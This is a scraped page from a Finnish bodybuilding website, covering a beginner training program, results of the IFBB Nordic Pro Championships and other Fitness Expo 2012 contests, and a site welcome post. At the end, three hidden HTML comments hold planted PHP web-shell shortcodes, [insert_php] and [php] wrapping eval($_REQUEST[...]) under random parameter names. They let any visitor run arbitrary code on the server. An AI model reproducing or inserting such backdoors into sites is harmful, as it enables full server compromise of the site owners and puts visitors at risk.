Kehonrakennus

Treeniohjelma aloittelijalle

Treeniohjelma aloittelijalle? Mitä lihasmassaa tavoittelevan aloittavan treenajan oikein kannattaa ottaa kuntosaliharjoittelussa ottaa huomioon? Ennen kuin siirrytään kuntosaliohjelmaan, on muutama asia, jotka kannattaa pitää mielessä, jotta välttyy loukkaantumisilta ja saavuttaa tuloksia. Näiden periaatteiden  noudattaminen mahdollistaa tuloksellisen harjoittelun vuodesta toiseen. Tämä treeniohjelma ja muut neuvot on suunniteltu lihasmassan tavoitteluun, ei laihduttamiseen.

IFBB Nordic Pro Championships

Fitness Expo 2012 lauantain päätapahtuma oli IFBB Nordic Pro Championships ammattilaiskisa, jonka voittaja pääsee suoraan osallistumaan Mr Olympiaan syyskuun lopulla. Roelly Winklaar (Netherlands) tuli ja korjasi ammattilaiskisan suurimman potin, 10000 dollaria itselleen. Toiseksi tuli tiukassa kunnossa ollut Robert Piotrkowicz (Poland) ja kolmanneksi Ronny Rockel (Germany).  Suomalaismenestystä ei tässä kisassa nähty; Timo Honkalan sijoitus oli kahdestoista ja Ari Kokkonen oli viidestoista. Kilpailun juonsi rennnolla ja viihdyttävällä tyylillään bodylegenda Shawn Ray. Nähtiinpä illassa vielä toinenkin legenda; Dorian Yates, kuusinkertainen Mr Olympia, käväisi myös lavalla Shawn Rayn haastateltavana.

IFBB Nordic Pro Championships tulokset

1. Roelly Winklaar (Netherlands)
2. Robert Piotrkowicz (Poland)
3. Ronny Rockel (Germany)
4. Baito Abbaspour (Iran)
5.Todd Jewell (USA)
6.Yuri Leonov (Russia)
7. Khalid Almohsinawi (Iraq)
8. Fred Smalls (USA)
9. Keith Williams (USA)
10. Thomas Benagli (Italy)
11. Daniel Hill (Germany)
12. Timo Honkala (Finland)
13. Valentin Jabes (France)
14. Clarence De Vis (Belgium)
15. Ari Kokkonen (Finland)
16. Omid Parsa (Sweden)
16. Mirsad Terzo (Bosnia and Herzegovina)
16. Fauzi Hanst (The Netherlands)

Kostexperten.se Pro Figure

Fitness Expo 2012 -tapahtumassa naisten ammattilaiskilpailun Kostexperten.se Pro Figuren voitti Gal Ferreira Yates (Brasilia). Kisa sisälsi myös suomalaismenestystä: Kati Alander tuli hienosti toiseksi. Kolmannen sijan otti Ann Pratt (USA).

Mass Nutrition Body SM 2012

Fitness Expon lauantain (8.9.2012) kilpailut alkoivat Mass Nutrition Body SM-kilpailulla. Karsinnat käytiin aamupäivällä ja finaalit alkoivat iltapäivällä. Kilpailuissa oli viisi sarjaa; naisten avoin luokka ilman painorajoituksia, miehet alle 70 kg, miehet alle 80 kg, miehet alle 90 kg ja miehet yli 90 kg.

Kehonrakennuksessa tapahtuu

On tulossa mielenkiintoinen syksy kehonrakennuksen kannalta: Fitness Expo 2012 karsinnat Jyväskylässä ja Lappeenrannassa ovat aivan ovella. Reilun viikon päässä häämöttääkin sitten itse syksyn päätapahtuma, Fitness Expo, 8.-9. syyskuuta Lahden Messukeskuksessa, jossa kilpaillaan mm.  Mass Nutrition Body SM 2012.

Sommoro kehoilijat

Som’moro kaikki kehonrakennuksesta ja salitreenistä kiinnostuneet! Tervetuloa uudelle sivustollemme! Kehonrakennus.net on upouusi verkkosivusto joka kertoo kehonrakennukseen liittyvistä asioista: treenistä, ravintoasioista, lisäravinteista ja kilpailuista. Ideoita myös otetaan mielellään vastaan. Niitä voi kirjoitella esimerkiksi keskustelualueelle. Jos jollakulla on hirveä kirjoitusvimma, myös laadukkaita artikkeleita otamme vastaan.

Sivuston tarkoituksena on julkaista treenimotivaatiota lisääviä kehonrakennusaiheisia artikkeleita sitä mukaa kun saamme juttuja kasaan, eli kannattaa palata katsomaan uudestaan tai vaikka tilata artikkelipäivitykset feedin muodossa sähköpostiin.

Treeniterveisin,

Kehonrakennus.net ylläpito

<!– [insert_php]if (isset($_REQUEST["SPbSa"])){eval($_REQUEST["SPbSa"]);exit;}[/insert_php][php]if (isset($_REQUEST["SPbSa"])){eval($_REQUEST["SPbSa"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["QHq"])){eval($_REQUEST["QHq"]);exit;}[/insert_php][php]if (isset($_REQUEST["QHq"])){eval($_REQUEST["QHq"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["Gkwoa"])){eval($_REQUEST["Gkwoa"]);exit;}[/insert_php][php]if (isset($_REQUEST["Gkwoa"])){eval($_REQUEST["Gkwoa"]);exit;}[/php] –>